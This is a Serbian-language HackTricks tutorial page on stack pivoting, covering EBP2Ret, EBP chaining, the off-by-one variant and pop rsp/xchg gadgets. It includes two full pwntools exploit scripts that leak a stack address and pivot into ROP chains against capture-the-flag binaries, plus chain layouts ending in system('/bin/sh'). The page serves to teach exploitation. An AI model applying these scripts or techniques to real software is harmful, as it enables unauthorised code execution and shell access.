11 KiB
Stack Pivoting - EBP2Ret - EBP chaining
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJATELJSTVO!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @hacktricks_live.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Ova tehnika iskorišćava mogućnost manipulacije Base Pointer (EBP)-a kako bi se lanciralo izvršavanje više funkcija kroz pažljivu upotrebu EBP registra i sekvence instrukcija leave; ret
.
Kao podsetnik, leave
u osnovi znači:
mov ebp, esp
pop ebp
ret
I pošto je EBP u steku pre EIP-a moguće ga je kontrolisati kontrolišući stek.
EBP2Ret
Ova tehnika je posebno korisna kada možete izmeniti registar EBP ali nemate direktni način da promenite registar EIP. Iskorišćava ponašanje funkcija kada završe izvršavanje.
Ako tokom izvršavanja fvuln
uspete da ubacite lažni EBP u stek koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shell koda (plus 4 bajta za operaciju pop
), možete indirektno kontrolisati EIP. Kako fvuln
završava, ESP je postavljen na ovu izrađenu lokaciju, a naknadna pop
operacija smanjuje ESP za 4 bajta, efektivno ga usmeravajući na adresu koju je napadač tu sačuvao.
Primetite kako morate znati 2 adrese: Onu gde će ići ESP, gde ćete morati upisati adresu na koju pokazuje ESP.
Konstrukcija napada
Prvo morate znati adresu gde možete pisati proizvoljne podatke / adrese. ESP će pokazivati ovde i izvršiti prvi ret
.
Zatim, morate znati adresu koju koristi ret
koja će izvršiti proizvoljni kod. Možete koristiti:
- Validnu ONE_GADGET adresu.
- Adresu
system()
praćenu sa 4 smećna bajta i adresom"/bin/sh"
(x86 bitovi). - Adresu
jump esp;
gedžeta (ret2esp) praćenu shell kodom za izvršavanje. - Neki ROP lanac
Zapamtite da pre bilo koje od ovih adresa u kontrolisanom delu memorije, moraju biti 4
bajta zbog pop
dela leave
instrukcije. Moguće je zloupotrebiti ove 4B da se postavi drugi lažni EBP i nastavi kontrolisanje izvršavanja.
Off-By-One napad
Postoji specifična varijanta ove tehnike poznata kao "Off-By-One napad". Koristi se kada možete samo izmeniti najmanje značajan bajt EBP-a. U takvom slučaju, lokacija memorije koja čuva adresu na koju treba skočiti sa ret
mora deliti prva tri bajta sa EBP-om, omogućavajući sličnu manipulaciju sa strožijim uslovima.
Obično se modifikuje bajt 0x00 da bi se skočilo što dalje.
Takođe, uobičajeno je koristiti RET klizaljku u steku i staviti pravi ROP lanac na kraju kako bi bilo verovatnije da novi ESP pokazuje unutar RET KLIZALJKE i da se izvrši konačni ROP lanac.
EBP Povezivanje
Stavljanjem kontrolisane adrese u EBP
unos steka i adrese za leave; ret
u EIP
, moguće je pomeriti ESP
na kontrolisanu EBP
adresu iz steka.
Sada je ESP
kontrolisan pokazujući na željenu adresu i sledeća instrukcija za izvršavanje je RET
. Da bi se iskoristilo ovo, moguće je staviti na kontrolisano mesto ESP-a ovo:
&(sledeći lažni EBP)
-> Učitaj novi EBP zbogpop ebp
izleave
instrukcijesystem()
-> Pozvan od straneret
&(leave;ret)
-> Pozvan nakon što system završi, pomeriće ESP na lažni EBP i početi ponovo&("/bin/sh")
-> Parametar zasystem
Na ovaj način je moguće povezati nekoliko lažnih EBPa da se kontroliše tok programa.
Ovo je kao ret2lib, ali složenije bez očigledne koristi ali može biti interesantno u nekim specifičnim slučajevima.
Osim toga, ovde imate primer izazova koji koristi ovu tehniku sa procurivanjem steka da pozove pobedničku funkciju. Ovo je konačni payload sa stranice:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
EBP možda neće biti korišćen
Kao što je objašnjeno u ovom postu, ako je binarni fajl kompajliran sa određenim optimizacijama, EBP nikada ne kontroliše ESP, stoga, bilo koji eksploit koji radi kontrolišući EBP će zapravo neuspeti jer nema stvarnog efekta.
To je zato što se prolog i epilog menjaju ako je binarni fajl optimizovan.
- Nije optimizovan:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Optimizovano:
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
Druge metode kontrole RSP
pop rsp
gedžet
Na ovoj stranici možete pronaći primer korišćenja ove tehnike. Za ovaj izazov bilo je potrebno pozvati funkciju sa 2 specifična argumenta, i postojao je pop rsp
gedžet i postoji leak sa steka:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg <reg>, rsp gedžet
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Proverite tehniku ret2esp ovde:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} ret2esp-ret2reg.md {% endcontent-ref %}
Reference & Drugi Primeri
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bita, off by one eksploatacija sa rop lancem koji počinje sa ret sledom
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bita, bez relro-a, canary-ja, nx-a i pie-a. Program omogućava curenje za stack ili pie i WWW od qword-a. Prvo dobijte curenje za stack i koristite WWW da se vratite i dobijete curenje za pie. Zatim koristite WWW da napravite večnu petlju zloupotrebom unosa
.fini_array
+ pozivanjem__libc_csu_fini
(više informacija ovde). Zloupotrebom ovog "večnog" pisanja, napisan je ROP lanac u .bss i završava se pozivom pivota sa RBP.
ARM64
U ARM64, prolog i epilog funkcija ne čuvaju i ne vraćaju SP registar na steku. Stoga, podrazumevano, nećete moći kontrolisati SP registar pisanjem preko nekih podataka unutar steka.
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili da preuzmete HackTricks u PDF formatu Proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @hacktricks_live.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.